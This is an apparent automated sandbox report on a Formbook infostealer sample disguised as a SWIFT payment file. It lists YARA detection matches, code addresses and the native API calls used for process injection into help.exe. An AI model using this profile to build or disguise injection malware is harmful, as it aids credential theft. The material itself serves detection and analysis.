Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: TT_SWIFT_Export Order_noref S10SMG00318021.exe
Uses 32bit PE files
Source: TT_SWIFT_Export Order_noref S10SMG00318021.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.2.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.0.TT_SWIFT_Export Order_noref S10SMG00318021.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000000.310910025.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000014.00000002.504518924.0000000000C00000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.263971290.0000000003C7D000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000014.00000002.501501248.00000000006B0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.352931586.0000000000F20000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000000.291860660.000000000E481000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000000.257794337.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.353085483.0000000001360000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.264376295.0000000003EE5000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000014.00000002.501943863.0000000000900000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000000.256828803.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.352440743.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_00FD8250 0_2_00FD8250
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_00FDD2F8 0_2_00FDD2F8
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_052A5AA0 0_2_052A5AA0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 0_2_052A5AB0 0_2_052A5AB0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C027 8_2_0041C027
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00401030 8_2_00401030
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C196 8_2_0041C196
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C9AB 8_2_0041C9AB
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041BB0C 8_2_0041BB0C
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041BC18 8_2_0041BC18
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00408C90 8_2_00408C90
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041C575 8_2_0041C575
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00402D88 8_2_00402D88
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00402D90 8_2_00402D90
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00402FB0 8_2_00402FB0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013C0D20 8_2_013C0D20
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01491D55 8_2_01491D55
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E4120 8_2_013E4120
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013CF900 8_2_013CF900
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DD5E0 8_2_013DD5E0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013D841F 8_2_013D841F
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01481002 8_2_01481002
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013DB090 8_2_013DB090
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013FEBB0 8_2_013FEBB0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_013E6E30 8_2_013E6E30
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03032B28 20_2_03032B28
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302DBD2 20_2_0302DBD2
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030203DA 20_2_030203DA
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0301FA2B 20_2_0301FA2B
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F9EBB0 20_2_02F9EBB0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030322AE 20_2_030322AE
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F920A0 20_2_02F920A0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7B090 20_2_02F7B090
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03021002 20_2_03021002
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303E824 20_2_0303E824
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030320A8 20_2_030320A8
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F84120 20_2_02F84120
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030328EC 20_2_030328EC
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F6F900 20_2_02F6F900
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F86E30 20_2_02F86E30
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0303DFCE 20_2_0303DFCE
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03031FF1 20_2_03031FF1
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302D616 20_2_0302D616
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03032EF7 20_2_03032EF7
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03032D07 20_2_03032D07
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_03031D55 20_2_03031D55
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_030325DD 20_2_030325DD
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7841F 20_2_02F7841F
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F7D5E0 20_2_02F7D5E0
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_0302D466 20_2_0302D466
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F92581 20_2_02F92581
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_02F60D20 20_2_02F60D20
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CC027 20_2_006CC027
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CC9AB 20_2_006CC9AB
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CC196 20_2_006CC196
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CBB0C 20_2_006CBB0C
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006CBC18 20_2_006CBC18
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006B8C90 20_2_006B8C90
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006B2D88 20_2_006B2D88
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006B2D90 20_2_006B2D90
Source: C:\Windows\SysWOW64\help.exe Code function: 20_2_006B2FB0 20_2_006B2FB0
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: String function: 013CB150 appears 32 times
Source: C:\Windows\SysWOW64\help.exe Code function: String function: 02F6B150 appears 45 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004185F0 NtCreateFile, 8_2_004185F0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004186A0 NtReadFile, 8_2_004186A0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_00418720 NtClose, 8_2_00418720
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004187D0 NtAllocateVirtualMemory, 8_2_004187D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041874A NtClose, 8_2_0041874A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0041871A NtClose, 8_2_0041871A
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_004187CB NtAllocateVirtualMemory, 8_2_004187CB
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409540 NtReadFile,LdrInitializeThunk, 8_2_01409540
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409910 NtAdjustPrivilegesToken,LdrInitializeThunk, 8_2_01409910
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014095D0 NtClose,LdrInitializeThunk, 8_2_014095D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014099A0 NtCreateSection,LdrInitializeThunk, 8_2_014099A0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409840 NtDelayExecution,LdrInitializeThunk, 8_2_01409840
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409860 NtQuerySystemInformation,LdrInitializeThunk, 8_2_01409860
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014098F0 NtReadVirtualMemory,LdrInitializeThunk, 8_2_014098F0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409710 NtQueryInformationToken,LdrInitializeThunk, 8_2_01409710
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409FE0 NtCreateMutant,LdrInitializeThunk, 8_2_01409FE0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409780 NtMapViewOfSection,LdrInitializeThunk, 8_2_01409780
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014097A0 NtUnmapViewOfSection,LdrInitializeThunk, 8_2_014097A0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409A50 NtCreateFile,LdrInitializeThunk, 8_2_01409A50
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409660 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_01409660
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409A00 NtProtectVirtualMemory,LdrInitializeThunk, 8_2_01409A00
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409A20 NtResumeThread,LdrInitializeThunk, 8_2_01409A20
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014096E0 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_014096E0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409950 NtQueueApcThread, 8_2_01409950
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409560 NtWriteFile, 8_2_01409560
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409520 NtWaitForSingleObject, 8_2_01409520
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0140AD30 NtSetContextThread, 8_2_0140AD30
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014099D0 NtCreateProcessEx, 8_2_014099D0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014095F0 NtQueryInformationFile, 8_2_014095F0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0140B040 NtSuspendThread, 8_2_0140B040
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409820 NtEnumerateKey, 8_2_01409820
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_014098A0 NtWriteVirtualMemory, 8_2_014098A0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409760 NtOpenProcess, 8_2_01409760
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409770 NtSetInformationFile, 8_2_01409770
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0140A770 NtOpenThread, 8_2_0140A770
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409B00 NtSetValueKey, 8_2_01409B00
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0140A710 NtOpenProcessToken, 8_2_0140A710
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409730 NtQueryVirtualMemory, 8_2_01409730
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_0140A3B0 NtGetContextThread, 8_2_0140A3B0
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409650 NtQueryValueKey, 8_2_01409650
Source: C:\Users\user\Desktop\TT_SWIFT_Export Order_noref S10SMG00318021.exe Code function: 8_2_01409670 NtQueryInformationProcess, 8_2_01409670
